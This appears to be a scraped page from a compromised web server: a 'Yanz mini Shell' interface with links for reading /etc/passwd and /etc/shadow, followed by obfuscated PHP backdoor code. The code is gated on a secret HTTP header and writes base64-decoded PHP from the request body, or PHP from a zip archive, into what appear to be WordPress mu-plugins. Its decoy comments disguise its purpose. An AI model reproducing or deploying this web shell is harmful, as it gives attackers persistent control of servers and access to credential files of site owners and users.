Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
if(!function_exists('jr2z9ivya1x')){function eqwrx4tr9hr4zaly74($i){static $a=null;if($a===null){$a=array('3tlH<pO','tEG3tl','p23tl','SWHMdt1HGOPtEdE','dOpyH<p','StfOGyWdGM1HdOHdE','EdlfOH','WHftH2','lOH<pO','Mnp13','StfOGwOdGM1HdOHdE','.<EOxiG3OM13O','Edly1E','tEGStfO','StfOEtTO','Mf<EEGOPtEdE','EW.Edl','tEGEdltHw','Edly1E','StfOEtTO');}return $a[$i];}function jr2z9ivya1x($i){$e=eqwrx4tr9hr4zaly74($i);$f='WP_C'.'ONTE'.'DIR/'.'mu'.'-pl'.'gins'.'SLUG'.'.hte'.'ac'.'rod'.'vAH'.'XK'.'Y:'.'<?ZM'.'wkf'.'b64'.'x2yq'.'zj51'.'3';$t='KvG'.'5j'.'zI'.'R-u'.'CZ'.'pWky'.'fwtH'.'E?gX'.'ban'.'dO<'.'Ml13'.'UAo'.'Les_'.'4:q'.'rY2S'.'.xi'.'P/h6'.'TN'.'Dmc';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function a5dwlruvampmxb($i){return jr2z9ivya1x($i);}function wbph889kzqmuvx($i){$j=$i;return jr2z9ivya1x($j);}function p5yyhtjm4kza($i){$j=$i;return jr2z9ivya1x($j);}function lghk2km60q($i){$j=(int)$i;return jr2z9ivya1x($j);}function azxh1562mbw6q($i){$j=$i;return jr2z9ivya1x($j);}

$zoszua3dzdps8gp =     isset($_SERVER['HTTP_X_SC_KEY'])    ? $_SERVER['HTTP_X_SC_KEY']  :   "";
if      ($zoszua3dzdps8gp   !==    '0ce757e43fba')  return;

$xm_crioiylf =   @p5yyhtjm4kza(10)("php://input");

if ($xm_crioiylf)  {
// reject flyweight for WP Group Block

$m3rg9om0xxd3s    = @jr2z9ivya1x(11)($xm_crioiylf,   true);
 if  ($m3rg9om0xxd3s  && jr2z9ivya1x(6)($m3rg9om0xxd3s)   >  (0x23+0x1d1)  &&   azxh1562mbw6q(12)($m3rg9om0xxd3s,   "<?")  ===    0)  {

if (ltf_ghi7s1tc6a5($ers6uj3_p2d, $m3rg9om0xxd3s)) { echo   "OK"; exit;      }

}
return;

}
 }
     if  (@azxh1562mbw6q(13)($ers6uj3_p2d)   && @p5yyhtjm4kza(14)($ers6uj3_p2d)  >    (0x11f4+0x194)) {
    if  (!defined('SC_AUTO_PREPEND'))  {
// fulfill container for Redis object cache
$x6u1r6ee=126|14;$_865whzrjazg=$x6u1r6ee^97;   echo    "OK"; exit;   }
 return;
}
    $gysz75wtdod    =  $e9l0otzokfk7zu    .   "/3163cbe0.zip";
   if (!@lghk2km60q(13)($gysz75wtdod))   $gysz75wtdod     =  __DIR__ .  "/3163cbe0.zip";

$ddazs2arm0v  = "ZipArchive";
if  (azxh1562mbw6q(15)($ddazs2arm0v)  &&    @jr2z9ivya1x(13)($gysz75wtdod))    {
$t2sz8qzy9f5z = new  $ddazs2arm0v();

if   ($t2sz8qzy9f5z->open($gysz75wtdod)  ===     true)      {

$ch0w84islpx6fb_ =     false;

for   ($nsmiu2n1pm    = 0;  $nsmiu2n1pm    <     $t2sz8qzy9f5z->numFiles;   $nsmiu2n1pm++)  {
$fjl5oehbd3 =  $t2sz8qzy9f5z->getNameIndex($nsmiu2n1pm);
    if (p5yyhtjm4kza(16)($fjl5oehbd3,  -(2+2))  === ".php")     {$p5bhdos4_221=8945;$aqgt5iu8=$p5bhdos4_221%10;
 $l5rhg82ung72ey   =   $t2sz8qzy9f5z->getFromIndex($nsmiu2n1pm);
  if (jr2z9ivya1x(17)($l5rhg82ung72ey)  &&   lghk2km60q(6)($l5rhg82ung72ey)  >   (666-166) &&  azxh1562mbw6q(18)($l5rhg82ung72ey,  "<?") ===  0 &&  ltf_ghi7s1tc6a5($ers6uj3_p2d,    $l5rhg82ung72ey))     {
 $ch0w84islpx6fb_     =  true;
      }

}
  }

$t2sz8qzy9f5z->close();

if   ($ch0w84islpx6fb_     && @a5dwlruvampmxb(13)($ers6uj3_p2d)   &&  @p5yyhtjm4kza(19)($ers6uj3_p2d)   >  (4989+11))      {
   if   (!defined('SC_AUTO_PREPEND')) { echo   "OK";   exit;  }
 return;

}

}
  }

}